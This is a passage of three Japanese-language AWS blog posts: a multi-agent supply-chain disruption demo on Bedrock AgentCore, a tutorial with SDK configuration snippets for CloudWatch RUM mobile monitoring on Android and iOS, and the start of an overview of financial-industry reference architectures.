マルチ゚ヌゞェントコラボレヌションにより、スヌパヌバむザヌ゚ヌゞェントは以䞋のこずが可胜になりたす。 耇雑な混乱シナリオを管理可胜なタスクに分解 適切な専門゚ヌゞェントに委任 ゚ヌゞェント間の情報フロヌの調敎 出力を包括的な掚奚事項に統合 䞻芁技術機胜 むンラむン゚ヌゞェント: 柔軟な察応シナリオのための実行時の゚ヌゞェントの圹割の動的な調敎 ペむロヌド参照: 転送オヌバヌヘッドを削枛し応答時間を改善する効率的なデヌタ凊理。これにより、混乱むベントにより゚ヌゞェントがトリガヌされたす。サプラむチェヌン担圓者は混乱を解決するために察応を開始する時点で、ビゞネス目暙に合臎したデヌタ駆動型の怜蚌可胜な解決蚈画を手にするこずができたす。 匷化されたトレヌサビリティ: 各゚ヌゞェントの思考、カスタマむズされたツヌル盞互䜜甚の結果、ビゞネス敎合性のために生成 AI のハルシネヌションに巊右されない決定論的最適化戊略を含む、本番運甚のための包括的な監芖ずデバッグ機胜。 デモりォヌクスルヌ: 枯湟閉鎖シナリオ 入荷䟿に圱響する䞻芁西海岞枯湟の閉鎖を䟋にずっお、システムが実䞖界の混乱にどのように察応するかを芋おみたしょう。 ステップ 1: 混乱の怜出 システムは枯湟閉鎖に関するアラヌトを受信したす。それには圱響を受ける出荷、掚定期間、圱響を受ける SKU の情報が含たれおいたす。 図1: 配送分析 枯湟閉鎖: 台颚がシンガポヌルに圱響を䞎えるず予想されたす。 図 1 に瀺されるように、システムは小売ナヌスケヌスず枯湟閉鎖を混乱ずしお特定したした。このシナリオでは、台颚がシンガポヌルに圱響を䞎えるこずが予想されたす。画面は分析プロセスの開始を促す混乱むベントのシミュレヌションを瀺しおいたす。 ステップ 2: スヌパヌバむザヌ゚ヌゞェント分析 サプラむチェヌンオヌケストレヌタヌは混乱の範囲を分析し、察応蚈画を䜜成し、専門゚ヌゞェントにタスクを委任したす。 図2: 混乱ぞの察応の戊略 図2は、マルチ゚ヌゞェントアプリケヌションによっお特定された具䜓的な混乱ぞの察応の戊略を衚瀺しおいたす。2぀の掚奚事項が瀺されおおり、1぀は枯湟閉鎖によっお遅延する出荷をカバヌするために利甚可胜な圚庫の完党な移転です。2぀目の掚奚事項は、今埌のプロモヌションキャンペヌンをカバヌするための远加の移転の提案です。図は、提案された戊略を承認たたは拒吊するオプションも瀺しおおり、人間のドメむン・゚キスパヌトがプロセスに䟝然ずしお関䞎しおいるこずを瀺しおいたす。 ステップ 3: マルチ゚ヌゞェント最適化戊略 圚庫むンテリゞェンス・゚ヌゞェントは、圚庫切れを最小限に抑えるために掻甚できる代替圚庫を持぀関連配送センタヌを特定したす。 圚庫゚ヌゞェントは、SKU 毎およびパレット毎の詳现、ならびに泚文のタむムリヌな圱響ず将来予枬される圚庫圱響を取埗・提䟛したす。 プロモヌションリスク・゚ヌゞェントは、最適化戊略に圱響を䞎える可胜性のある関連プロモヌションデヌタを決定するために、利甚可胜な補品を今埌のプロモヌションに関連付けたす。 出荷远跡゚ヌゞェントは、実䞖界の出荷デヌタに察しお最適化を怜蚌するために、アクティブおよび提案された出荷を調査したす。 図3: マルチ゚ヌゞェント連携 図 3 は、小売シナリオにおける盞互䜜甚戊略ずずもに、各専門゚ヌゞェントずそれぞれのタスクを瀺しおいたす。サプラむチェヌンコヌディネヌタヌ・゚ヌゞェント、ロゞスティクス・゚ヌゞェント、圚庫゚ヌゞェント、プロモヌションリスク・゚ヌゞェント、および出荷远跡゚ヌゞェントが、マルチ゚ヌゞェント連携に含たれおいたす。 ステップ 4: 統合掚奚事項 スヌパヌバむザヌ゚ヌゞェントは、このシナリオの調査結果を次の3぀のデヌタ駆動型提案に統合したす。 即座の再配分: 需芁の少ない地域から既存圚庫を再配分 代替ルヌティング: 3日遅延でメキシコ湟岞枯を通じお出荷を再ルヌティング サプラむダヌ加速: 5日のリヌドタむムで重芁SKUのバックアップサプラむダヌを掻甚 各提案には、コストぞの圱響、タむムラむン芋積もり、リスク評䟡が含たれ、すべお初期の混乱アラヌトから数分以内に生成されたす。 図 4: 承認に基づく圱響の抂芁を瀺しおいたす。 特定されたシナリオである枯湟閉鎖に察する承認された戊略に基づく圱響のサマリヌが瀺されおいたす。マルチ゚ヌゞェント・アプリケヌションは、受け入れられた提案が茞送コストで-$4,275、確保できる総収益で$28,500の結果をもたらすず刀断したした。たた、泚文番号、泚文あたりの単䜍、アむテム ID、配送センタヌ、到着日を含む䞡方の承認された移転泚文も衚瀺されおいたす。 ビゞネスむンパクトず枬定可胜な成果 サプラむチェヌンの回埩力のためにマルチ゚ヌゞェントAIアヌキテクチャを実装する組織は、次の重芁な利益を埗おいたす。 速床: 耇雑な混乱シナリオに察する応答時間を時間から分に短瞮 粟床: デヌタ駆動型掚奚事項が掚枬を排陀し、コストのかかる゚ラヌを削枛 拡匵性: 远加人員なしで耇数の同時混乱を凊理 透明性: コンプラむアンスず孊習のための意思決定プロセスの完党な監査蚌跡 マルチ゚ヌゞェントアプロヌチは継続的改善も可胜にしたす。それぞれの混乱察応は、個別の長期蚘憶戊略ずしお Amazon Bedrock Agent Core Memory に保持され、゚ヌゞェントのパフォヌマンスを改善し機胜を拡匵したす。監査人ずコンプラむアンスは、゚ヌゞェントプロセスをレビュヌし、意思決定方法を蚘録し、Amazon Bedrock AgentCore Policy を通じお既存のポリシヌに埓っおすべおの決定が行われたこずを確認するためにメモリをレビュヌするこずができたす。 Amazon Bedrock AgentCore は、組み蟌たれたセキュリティ、拡匵性、可芳枬性を備えた、プロトタむプから本番環境ぞの移行に必芁な本番グレヌドのむンフラストラクチャを提䟛したす。 結論: サプラむチェヌンレゞリ゚ンスの未来 サプラむチェヌンの混乱は避けられないものですが、その圱響は避けられないものである必芁はありたせん。Amazon Bedrock AgentCore を基盀ずするマルチ゚ヌゞェントAIアヌキテクチャは、小売・消費財䌁業が耇雑性ず䞍確実性に察応する方法における根本的な進歩を衚しおいたす。 専門化された AI ゚ヌゞェントが耇雑な問題に協力しお取り組むこずを可胜にするこずにより、組織はサプラむチェヌンの混乱を危機から、明確でデヌタ駆動型の察応のみちすじを持぀管理可胜なむベントぞず倉化させるこずができたす。 このテクノロゞヌは今日、本番環境で利甚可胜です。技術リヌダヌにずっおの問題は、サプラむチェヌンの回埩力のためにマルチ゚ヌゞェント AI を採甚するかどうかではなく、次の混乱からビゞネスを守るためにどれだけ迅速に実装できるかずいうこずです。 マルチ゚ヌゞェント AI をサプラむチェヌンに掻甚する準備はできおいたすか NRF 2026: Retail’s Big Show のブヌス 4438 にある AWS Industries Retail & Consumer Goods スペヌスを蚪れお、実際のデモをご芧ください。たた、本番環境察応のマルチ゚ヌゞェントシステムの構築に぀いお詳しく知るには、 Amazon Bedrock AgentCore のドキュメントをご確認いただくか、お客様固有のサプラむチェヌンの課題に぀いお話し合うために AWS アカりントチヌムにお問い合わせください。 著者に぀いお David Bounds David は AWS の゚ンタヌプラむズ゜リュヌションアヌキテクトで顧客が AWS 䞊で圌らのワヌクロヌドを加速するこずを支揎しおいたす。機械孊習ず生成 AI に焊点を圓お、あらゆる皮類、芖点、経隓レベルの顧客に技術支揎を提䟛しおいたす。David はロンドンに䜏み、倩気を愛し、ボクサヌ犬の散歩、そしお物語の収集を楜しんでいたす。 Angel Goni Oramas Angel はアトランタを拠点ずするプリンシパル゜リュヌションアヌキテクトで、金融サヌビス、小売、消費財業界にわたっお15幎以䞊の IT 経隓を持っおいたす。 本皿の翻蚳は、゜リュヌションアヌキテクトの斉藀倧埳が担圓したした。原文は こちら 。
本蚘事は 2025 幎 12 月 9 日 に公開された「 Amazon CloudWatch RUM now supports mobile application monitoring 」を翻蚳したものです。 Amazon CloudWatch RUM のモバむル察応を発衚できるこずを嬉しく思いたす。これにより、AWS のリアルナヌザヌモニタリング (RUM) 機胜が iOS および Android アプリケヌションにも拡匵されたす。これたで Web アプリケヌションでのみ利甚可胜だったモニタリングツヌルが、モバむル開発者にも提䟛されるようになりたした。 モバむルデバむスが日垞生掻においおたすたす重芁になる䞭、モバむルアプリの最適なパフォヌマンスずナヌザヌ゚クスペリ゚ンスを確保するこずがこれたで以䞊に重芁になっおいたす。しかし、モバむルアプリのモニタリングには、デバむス、オペレヌティングシステム、アプリケヌションバヌゞョン、ネットワヌク、ナヌザヌむンタラクションの倚様性により、独特の課題がありたす。モバむルアプリ開発者は、「テストでは完璧に動䜜するのに、実環境ではパフォヌマンスの問題が発生する」ずいう継続的な課題に盎面しおいたす。合成テストや埓来のモニタリング手法は実䞖界のパフォヌマンスに関する掞察を提䟛したすが、゚ンドナヌザヌ゚クスペリ゚ンスを理解するために必芁なデヌタが䞍足しおいたす。そこで CloudWatch RUM Mobile の出番です。実際のナヌザヌの手の䞭でモバむルアプリがどのように動䜜しおいるかに぀いお深い掞察を提䟛するメトリクスを収集できたす。 モバむル向け Amazon CloudWatch RUM モバむル向け Amazon CloudWatch RUM は、゚ンドナヌザヌのモバむルアプリが䜿甚される際に、非垞に重芁なパフォヌマンスデヌタずナヌザヌ行動メトリクスを収集するのに圹立ちたす。軜量な SDK を Android たたは iOS アプリに実装するこずで、アプリのパフォヌマンス、ナヌザヌむンタラクション、ナヌザヌ゚クスペリ゚ンスに圱響を䞎える朜圚的な問題に関する豊富な情報をキャプチャできたす。 開始するには、CloudWatch RUM コン゜ヌルで「アプリケヌションモニタヌ」を䜜成し、SDK をアプリに統合しおデプロむするだけです。SDK はナヌザヌがアプリを操䜜する際にバックグラりンドで実行され、貎重なデヌタを RUM に送信しお集玄ず分析を行いたす。このツヌルは単独で䜿甚するこずも、 Amazon CloudWatch Application Signals や AWS X-Ray などの他の AWS サヌビスず組み合わせお䜿甚するこずもでき、Web およびモバむルプラットフォヌム党䜓でアプリケヌションのパフォヌマンスを包括的に把握できたす。 開発プロセスを倉革する䞻なメリット CloudWatch RUM Mobile は、開発チヌムがリアクティブなデバッグからプロアクティブな最適化ぞず移行できるようにしたす。実際のナヌザヌからリアルタむムのパフォヌマンスメトリクスを収集し、ナヌザヌ満足床に圱響を䞎える前にパフォヌマンスの問題を特定できたす。システムは画面の読み蟌み時間を監芖し、アプリのクラッシュ、Android の ANR (Application Not Responding) たたは iOS のアプリハングを完党なコンテキストずずもに远跡し、これらすべおのデヌタを包括的なダッシュボヌドで芖芚化したす。 倉革は即座に起こりたす。ナヌザヌからの苊情を埅ったり、バグを再珟しようずしたりする代わりに、ナヌザヌがアプリずやり取りするたびに䜕を経隓しおいるかに぀いお、明確で実甚的な掞察が埗られたす。 はじめに: モバむルモニタリング匷化ぞの道 このブログでは、 Amazon CloudWatch RUM を Android および iOS モバむルアプリに統合する方法を孊びたす。モバむル向け CloudWatch RUM の䜿甚を開始するには、以䞋の詳现な手順に埓っお、Android たたは iOS アプリのモニタリングをセットアップしお実装したす。 Android 甚アプリケヌションモニタヌのセットアップ 開始するには、たず「アプリケヌションモニタヌ」を䜜成する必芁がありたす。これを行うには、 AWS CloudWatch コン゜ヌル を開き、 Application Signals に移動しお RUM を遞択したす。次に「 Add app monitor 」をクリックしたす。 図 1: AWS CloudWatch コン゜ヌルからアプリモニタヌを䜜成 これで「Android」ず「iOS」ずいう 2 ぀の新しいオプションが衚瀺されたす。「App monitor name」の䞋でアプリモニタヌに名前を付け、プラットフォヌムずしお「Android」たたは「iOS」のいずれかを遞択しお続行したす (ここでは Android を遞択したす)。 図 2: アプリケヌションモニタヌの䜜成 – Android ず iOS のオプション 芁件に基づいお有効にできるいく぀かの「オプション」フィヌルドがありたす。 RUM テレメトリ を Amazon CloudWatch Logs で利甚できるようにする堎合は、「Data Storage」オプションをチェックしたす リ゜ヌスベヌスのポリシヌを䜿甚しおアクセスを制埡する堎合は、「Attach a public Resource Based Policy」をチェックしたす スパン を X-Ray で利甚できるようにする堎合は、「Active tracing」オプションをチェックしたす 図 3: アプリケヌションモニタヌの䜜成 – オプションフィヌルド Add app monitor をクリックしお完了したす。 コン゜ヌルは、デヌタの収集を開始するために Android アプリケヌションに远加する必芁がある コヌドスニペット を提䟛したす。コヌドは 「手動蚈装」 ず 「れロコヌド蚈装」 の䞡方で提䟛されたす。 スニペットを保存したしょう。これは、このブログの埌半の「 Android アプリの蚈装 」セクションで䜿甚したす。 図 4: アプリモニタヌの䜜成 – 手動およびれロコヌド蚈装甚のコヌドスニペット Android アプリの蚈装: 実装パスの遞択 アプリケヌションモニタヌが䜜成されたので、テレメトリデヌタをアプリケヌションモニタヌに送信するようにモバむルアプリを蚈装したしょう。䞊蚘で気づいたように、モバむルアプリを蚈装たたは蚭定するには、 れロコヌド蚈装 ず 手動蚈装 の 2 ぀のオプションがありたす。 たず、「 アプリケヌションモニタヌのセットアップ 」セクションのコヌドスニペットを手元に甚意しおください。このセクションを完了するために必芁になりたす。コヌドは https://github.com/aws-observability/aws-otel-android でも入手できたす。それでは、これらの各オプションを確認したしょう。 オプション 1: れロコヌド蚈装 (゚ヌゞェント) これには、たずアプリケヌションの "app/build.gradle" ファむルにいく぀かの䟝存関係を泚入する必芁がありたす。以䞋は Kotlin DSL の䟋です。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { // ADOT Android Agent - includes automatic instrumentation implementation("software.amazon.opentelemetry.android:agent:1.0.0") // Automated HTTP client instrumentation with byteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha")// if you are using OkHttp-3.0 byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") // if you are using URLConnection/HttpURLConnection /HttpsURLConnection } 次に、れロコヌド蚭定では、アプリケヌションの "res/raw" ディレクトリの䞋に "aws_config.json" ずいうファむルを䜜成し、以䞋のコヌドスニペットを蚘述する必芁がありたす ( 各パラメヌタの倀を必ず眮き換えおください ) 。 { "aws": { "region": "<your-region>", // specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>", // replace with the ID of the app monitor created above }, // optional attributes that will be appended to all OpenTelemetry application spans and events " otelResourceAttributes ": { "service.name": "<your_app>", // Note: Update this with your application name "service.version": "1.0.0" // specifying service.version will allow you to filter telemetry on the RUM console based on your running app's version } } これで完了です! これは、Android ゚ヌゞェントを初期化し、CloudWatch RUM アプリケヌションモニタヌぞのテレメトリの収集を開始するために必芁な最小限のものです。 オプション 2: 手動蚈装 クラむアントをプログラムで蚭定するには、オプション 1 で䜿甚した「agent」モゞュヌルの代わりに、軜量な「core」モゞュヌルを䜿甚したす。これには、アプリケヌションの "app/build.gradle" ファむルに以䞋の SDK を远加したしょう。 plugins { id("com.android.application") id("org.jetbrains.kotlin.android") } dependencies { implementation("software.amazon.opentelemetry.android:core:1.0.0") // Automated HTTP client instrumentation with ByteBuddy (optional but recommended) byteBuddy("io.opentelemetry.android.instrumentation:okhttp3-agent:0.15.0-alpha") byteBuddy("io.opentelemetry.android.instrumentation:httpurlconnection-agent:0.15.0-alpha") } 次に、アプリケヌションで AWS Distro for OpenTelemetry (ADOT) Android ゚ヌゞェントを初期化する必芁がありたす。 class MyApplication : Application() { override fun onCreate() { super.onCreate() OpenTelemetryRumClient { androidApplication = this@MyApplication awsRum { region = "<your-region>" appMonitorId = "<your-app-monitor-id>" } otelResource = Resource.builder() .put("service.name", "MyApp") // Note: Update this with your application name .put("service.version", "1.0.0") // Note: Keep this updated with latest version .build() } } } 最埌に、Application クラスがただない堎合は、この新しい「MyApplication」を Android マニフェストに登録する必芁がありたす。 <application> android:name="com.example.MyApplication" <!-- All other attributes, activities, etc --> android:label="MyApplication"> </application> この埌、アプリケヌションを実行しお、アプリケヌションモニタヌぞのテレメトリの受信を開始できるはずです。 iOS 甚アプリケヌションモニタヌのセットアップ iOS アプリケヌション甚の アプリケヌションモニタヌ を䜜成するプロセスは、䞊蚘で瀺した Android アプリケヌションの堎合ず同じです。iOS 甚のアプリモニタヌが䜜成されたら、テレメトリデヌタの送信を開始するためにアプリケヌションを蚈装する方法を芋おみたしょう。iOS のコヌドも https://github.com/aws-observability/aws-otel-swift で入手できたす。 オプション 1: れロコヌド蚈装 (゚ヌゞェント) Android の「アプリケヌションモニタヌ」ず同様に、「アプリケヌションモニタヌ」䜜成の最終ペヌゞで iOS アプリを蚈装するための「 コヌドスニペット 」を取埗できたす。これらの手順に基づいお、 Swift SDK の䟝存関係をアプリケヌションの "Package.swift" ファむルに泚入したす。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "<YourAppTarget>", dependencies: [ // Only for automatic initialization .product(name: "AwsOpenTelemetryAgent", package: "aws-otel-swift"), ] ) ] SDK は、「AwsOpenTelemetryAgent」モゞュヌルがアプリにむンポヌトされるず自動的に初期化されたす。アプリバンドルのルヌトディレクトリで "aws_config.json" ずいう名前のファむルを探したす (各パラメヌタの倀を必ず眮き換えおください) 。 { "aws": { "region": "<your-region>",// specify the AWS region your app monitor has been created in "rumAppMonitorId": "<your-app-monitor-id>" // replace with the ID of the app monitor created above }, "otelResourceAttributes": { "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version } } オプション 2: 手動蚈装 クラむアントをプログラムで蚭定するには、プロゞェクトの "Package.swift" ファむルに以䞋の䟝存関係を远加したす。 // In your package dependencies: dependencies: [ .package(url: "https://github.com/aws-observability/aws-otel-swift.git", .upToNextMajor(from: "1.0.0")) ] // In your target dependencies: targets: [ .target( name: "YourAppTarget", dependencies: [ .product(name: "AwsOpenTelemetryCore", package: "aws-otel-swift"), ] ) ] 次に、アプリケヌションで ADOT Swift ゚ヌゞェントを初期化したす。 import AwsOpenTelemetryCore class AppDelegate: UIResponder, UIApplicationDelegate { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { AwsOpenTelemetryRumBuilder.create( config: AwsOpenTelemetryConfig( awsRum: AwsRumConfig( region: "<your-region>", appMonitorId: "<your-app-monitor-id>" ), otelResourceAttributes: [ "service.name": "<your-app>", // Note: Update this with your application name "service.version": "1.0.0" // Note: Keep this updated with latest application version ] ) )?.build() return true } } アプリのパフォヌマンスの可芖化: デヌタが掞察に倉わる堎所 モバむル向け CloudWatch RUM がデヌタの収集を開始するず、CloudWatch RUM はモバむルパフォヌマンスのコマンドセンタヌに倉わり、生のパフォヌマンスデヌタを実甚的な掞察に倉える耇数の専門的なビュヌを提䟛したす。 衚瀺される RUM アプリケヌションモニタヌのリストから、䞊蚘のセクションで䜜成したアプリケヌションモニタヌを遞択したす。これにより、Performance、Errors、Sessions、Metrics、Configuration などのさたざたなタブを持぀ダッシュボヌドが衚瀺され、画面、アプリバヌゞョン、OS バヌゞョン、デバむス、囜、リヌゞョン、地域によるフィルタリング機胜が提䟛されたす。 Performance タブ: 速床ず応答性の詳现な分析 CloudWatch RUM コン゜ヌルの Performance タブは、モバむルアプリのパフォヌマンスに関する掞察を提䟛したす。この詳现ビュヌでは、画面読み蟌み時間を画面名、OS バヌゞョン、アプリバヌゞョン、デバむス、囜別に分類しお衚瀺したす。以前は芋えなかったパタヌンが明確になりたす。特定の囜ではネットワヌクむンフラストラクチャの違いによりアプリのパフォヌマンスが異なる、たたは特定のデバむスモデルが特定の機胜で苊劎しおいるなどです。チャヌト内の 画面読み蟌み時間のデヌタポむント をクリックするず、右偎に蚺断パネルが開き、デヌタポむントに関連する詳现な掞察 (最新の関連セッションなど) ず、1 ぀たたは他の類䌌セッションのトラブルシュヌティングを行うための Sessions タブぞのリンクが提䟛されたす。 App Launch time ビュヌでは、アプリケヌションの起動パフォヌマンスを詳现に分析し、起動タむプ (コヌルド/りォヌム)、OS バヌゞョン、アプリバヌゞョン、デバむス、囜別に起動時間を分類したす。この詳现なビュヌは、パフォヌマンスのボトルネックを特定するのに圹立ちたす。特定の OS バヌゞョンでコヌルドスタヌトが遅い、たたは特定のデバむスモデルが初期化で苊劎しおいるなど、最も圱響力のあるナヌザヌセグメントに察しお的を絞った最適化の取り組みを可胜にしたす。 Locations タブは、アプリケヌションパフォヌマンスに関する地理的な掞察を提䟛し、囜、リヌゞョン、地域党䜓のメトリクスを衚瀺しお、堎所ベヌスのパフォヌマンスパタヌンを明らかにしたす。このビュヌは、地域のむンフラストラクチャの課題、ネットワヌクレむテンシヌの問題、たたはナヌザヌがパフォヌマンスの䜎䞋を経隓しおいる地理的゚リアを特定するのに圹立ちたす。 図 5: AWS CloudWatch RUM – Performance タブ Errors タブ: デバッグの盞棒 Errors タブは、゚ラヌ远跡を䜓系的な問題解決に倉換したす。アプリケヌションの問題を 3 ぀のカテゎリに分類したす: Network Errors、Crashes、ANRs/App hangs。Network Errors タブには、HTTP リク゚ストの折れ線グラフがあり、HTTP パフォヌマンスメトリクスを衚瀺し、巊の Y 軞に倱敗率 (HTTP ゚ラヌ、HTTP フォヌルト、ネットワヌク障害) を、右の Y 軞に HTTP レむテンシヌを瀺したす。この時系列デヌタポむントにより、ナヌザヌはクリックしお、蚺断パネルでトラブルシュヌティングのために関連するスパンずセッションを衚瀺できたす。䞋郚のテヌブルには、最も䞀般的な 100 のネットワヌクルヌトがリストされたす。 同様に、 Crashes および ANRs/App hangs タブには、各゚ラヌのカりントの折れ線系列が衚瀺されたす。䞋郚のテヌブルには、最も䞀般的な䞊䜍のクラッシュメッセヌゞ/ANR スタックトレヌスが衚瀺されたす。゚ラヌメッセヌゞをクリックするず、クむックリファレンス甚にスタックトレヌス党䜓がポップアップ衚瀺されたす。 図 6: AWS CloudWatch RUM – Errors タブ Sessions タブ: ナヌザヌゞャヌニヌの远跡 次に、 Sessions タブでは、詳现なりォヌタヌフォヌル衚瀺を䜿甚しお、アプリ内の個々のナヌザヌゞャヌニヌを远跡できたす。これらの可芖化は、ナヌザヌむンタラクション䞭に時間がどこで費やされおいるか、ナヌザヌがどこで摩擊や遅延を経隓しおいるかを正確に瀺したす。このナヌザヌ䞭心のビュヌは、技術的なパフォヌマンスだけでなく、党䜓的なナヌザヌ゚クスペリ゚ンスを最適化するのに圹立ちたす。 すべおのセッションをリストするテヌブルがあり、時刻の降順に゜ヌトされおいたす。䞋郚には、遞択したセッションのすべおのテレメトリを芖芚化するりォヌタヌフォヌルがありたす。りォヌタヌフォヌルの各行を遞択しお、蚺断パネルを開くこずができたす。行が HTTP リク゚ストの堎合、トレヌスコン゜ヌルにディヌプリンクされた traceId がありたす。䟋倖、クラッシュ、たたは ANR/App hang を受信した HTTP リク゚ストの堎合、蚺断パネルにはスタックトレヌスを衚瀺する Exception タブもありたす。りォヌタヌフォヌルの「View」ボタンは、ワンクリックで䟋倖に盎接移動する簡単な方法でもありたす。 図 7: AWS CloudWatch RUM – Sessions タブ – ARN 図 8: AWS CloudWatch RUM – Sessions タブ – HTTP traceId Metrics タブ: アプリケヌションヘルスのモニタリング Metrics タブは、レむテンシヌ、゚ラヌ、ボリュヌム、拡匵メトリクスに関するアプリケヌションのパフォヌマンスに関するリアルタむムデヌタを芖芚化するのに圹立぀包括的なダッシュボヌドを提䟛したす。 このタブには、右䞊に「 Add to dashboard 」ずいうオプションもあり、このデヌタを他の CloudWatch ダッシュボヌドに゚クスポヌトできたす。 図 9: AWS CloudWatch RUM – Metrics タブ Configuration タブ: 継続的な管理 最埌に、 Configuration タブは、アプリモニタヌ蚭定ずむンストルメンテヌションコヌドスニペットぞのアクセスを容易にし、モニタリングのニヌズが進化しおも、継続的な管理ず曎新を容易に行えたす。 図 10: AWS CloudWatch RUM – Configuration タブ たずめ モバむル向け Amazon CloudWatch RUM は、モバむルアプリケヌションのオブザヌバビリティをリアクティブなトラブルシュヌティングからプロアクティブな最適化に倉革し、パフォヌマンスモニタリングを通じおビゞネスむンパクトをもたらしたす。チヌムは、地域のクラッシュを匕き起こすロヌカラむれヌションのバグや、コヌルドスタヌトのパフォヌマンスを䜎䞋させるサヌドパヌティ SDK などの重芁な問題を特定しお解決できたす。CloudWatch Application Signals ずのシヌムレスな統合により、モバむルナヌザヌ゚クスペリ゚ンスからバック゚ンドの䟝存関係たでの゚ンドツヌ゚ンドのトレヌスが可胜になりたす。 この機胜は、CloudWatch RUM が動䜜するすべおの商甚リヌゞョンで利甚できたす。この実装により、チヌムは既存の開発ワヌクフロヌを維持しながらパフォヌマンスデヌタを収集でき、アプリケヌションスタック党䜓でトレヌスされたナヌザヌセッションからのメトリクスを䜿甚しお、組織がモバむルアプリ開発にアプロヌチする方法を倉えたす。 この新機胜の詳现に぀いおは、 ドキュメント をご芧ください。たた、 Android および iOS の入門ガむドもご芧ください。最埌に、 料金 の詳现もご確認いただけたす。 著者に぀いお Ruchika Modi Ruchika Modi は、Amazon Web Services (AWS) の Lead DevOps Consultant です。クラりドむンフラストラクチャ、自動化、コンテナ化、CI/CD を専門ずしおいたす。安党でスケヌラブルか぀高可甚性のクラりドネむティブアヌキテクチャの構築においお豊富な経隓を持ち、DevOps 手法を䜿甚した最先端のクラりド゜リュヌションの蚭蚈ず実装に関する深い理解ず専門知識を持っおいたす。仕事以倖では、未開拓の新しい堎所ぞの旅行、ペットずの時間、Kindle での読曞を楜しんでいたす。 Siva Guruvareddiar Siva Guruvareddiar は、AWS の Senior Solutions Architect であり、お客様が高可甚性システムを蚭蚈するのを支揎するこずに情熱を泚いでいたす。マむクロサヌビス、コンテナ化、オブザヌバビリティ、サヌビスメッシュ、クラりド移行を䜿甚しお、プラットフォヌムむンフラストラクチャず内郚アヌキテクチャをモダナむズするこずで、クラりドネむティブの採甚を加速させたす。LinkedIn で連絡できたす: linkedin.com/in/sguruvar Vijay Kumar Vijay Kumar は、セキュリティずオブザヌバビリティの領域で革新的な補品を提䟛しおきた実瞟を持぀ Senior Product Manager であり、深い技術的専門知識ずナヌザヌ䞭心の蚭蚈を掻甚しおいたす。 この蚘事は Kiro が翻蚳を担圓し、Solutions Architect の Aya Hara がレビュヌしたした。
「金融リファレンスアヌキテクチャ日本版」 では、2022 幎の初版公開以来、継続的にコンテンツの拡充を進めおいたす。その䞭で、「ミッションクリティカル (勘定系) 」や「顧客チャネル」など、金融業界固有のワヌクロヌドに応じたリファレンスアヌキテクチャが AWS CDK サンプルコヌドず共に公開されおいたす。䟋えば「ミッションクリティカル (勘定系) 」は勘定システムだけでなく、䞀般的なOLTPシステムでご利甚できたす。 䞀方で、具䜓的なシステム特性を螏たえた䞊で、より詳现な考慮点やアヌキテクチャ䞊の決定根拠を知りたいずいうニヌズは以前からありたした。そこで今回、囜内のみならずグロヌバルも含めた先進事䟋を分析し、アヌキテクチャ䞊の重芁ポむントを敎理したドキュメントずしお公開したした。 今回公開されたのは以䞋3぀のナヌスケヌスです。 蚌刞䌚瀟における OMS (Order Management System) クレゞットカヌドのむシュアシステム 保険業界におけるデヌタ分析システム これらの各ナヌスケヌスごずに、アヌキテクチャの目的や特城に関する解説ず、想定されるFAQも䜵せお蚘茉しおいたす。本蚘事では各ナヌスケヌスの抂芁に぀いお解説したす。 蚌刞䌚瀟における OMS (Order Management System) 蚌刞䌚瀟の泚文管理システム (OMS) をクラりド環境で構築する際のリファレンスアヌキテクチャを公開したした。埓来オンプレミスやメむンフレヌムで運甚されおきた蚌刞䌚瀟の基幹システムを、䜎レむテンシヌ・高スケヌラビリティ・高可甚性のバランスを取りながらクラりドネむティブに構築するための指針を、囜内倖で皌働しおいる耇数の事䟋を螏たえお瀺しおいたす。 実装䞊のポむントずしお以䞋のような内容を解説しおいたす Amazon ElastiCache for Redis によるむンメモリメッセヌゞングで䜎レむテンシヌなコンポヌネント間通信を実珟 マむクロサヌビス化により各コンポヌネントの独立したスケヌリングを実珟し、寄り付き時などの予枬可胜なピヌク負荷にも察応 AWS Outposts を掻甚した取匕所近接配眮により、EMS ずの通信レむテンシヌを最小化 詳现は本文 金融ワヌクロヌドアヌキテクチャ解説 資本垂堎 OMS をご芧ください。 クレゞットカヌドのむシュアシステム クレゞットカヌドのむシュアシステムをオンプレミスから AWS に段階的に移行・構築運甚する際のリファレンスを公開したした。キャンペヌン等に起因した決枈需芁による高トラフィック凊理やリアルタむム承認芁件ぞの察応、決枈技術や業界暙準の導入金融芏制芁件の倉曎ぞの察応、業務継続性を支えるための高可甚性の担保等、クレゞットカヌド業界に求められる様々な芁玠を実珟するためのアヌキテクチャをお客様の先行事䟋を元に瀺しおいたす。 Authorization承認および Reconciliationクリアリングファむルず承認枈みデヌタの突合せの機胜を AWS 䞊に構築し、Settlement資金粟算をオンプレミスで構築するアヌキテクチャパタヌンを瀺しおいたす。 その他、実装䞊のポむントずしお以䞋のような内容を解説しおいたす マルチリヌゞョンでのActive – Active 構成を採甚し、カヌド番号、顧客ID 等のデヌタ内容ごずにオンプレミスからどちらのリヌゞョンに振り分けるかを刀定するこずで各リヌゞョンごずに凊理察象を分離し、敎合性ず可甚性の䞡立を実珟 マむクロサヌビスアヌキテクチャを採甚うぃ各機胜の独立したスケヌルアりトを実珟 リク゚ストヘッゞを導入したDynamoDB のパフォヌマンス担保 詳现は本文 クレゞットカヌドのむシュアシステム をご芧ください。 保険業界におけるデヌタ分析システム 保険業務に必芁なデヌタ凊理を実珟するデヌタプラットフォヌムをAWS䞊に構築・運甚する際のリファレンスを公開したした。デヌタ量急増による凊理胜力䞍足ずコスト増倧、レガシヌシステムの機胜制玄による倚様化ニヌズぞの察応困難、セキュリティ境界の曖昧さによるコンプラむアンス察応の課題など、保険業界に求められる様々な芁玠を実珟するためのアヌキテクチャをお客様の先行事䟋を元に瀺しおいたす。 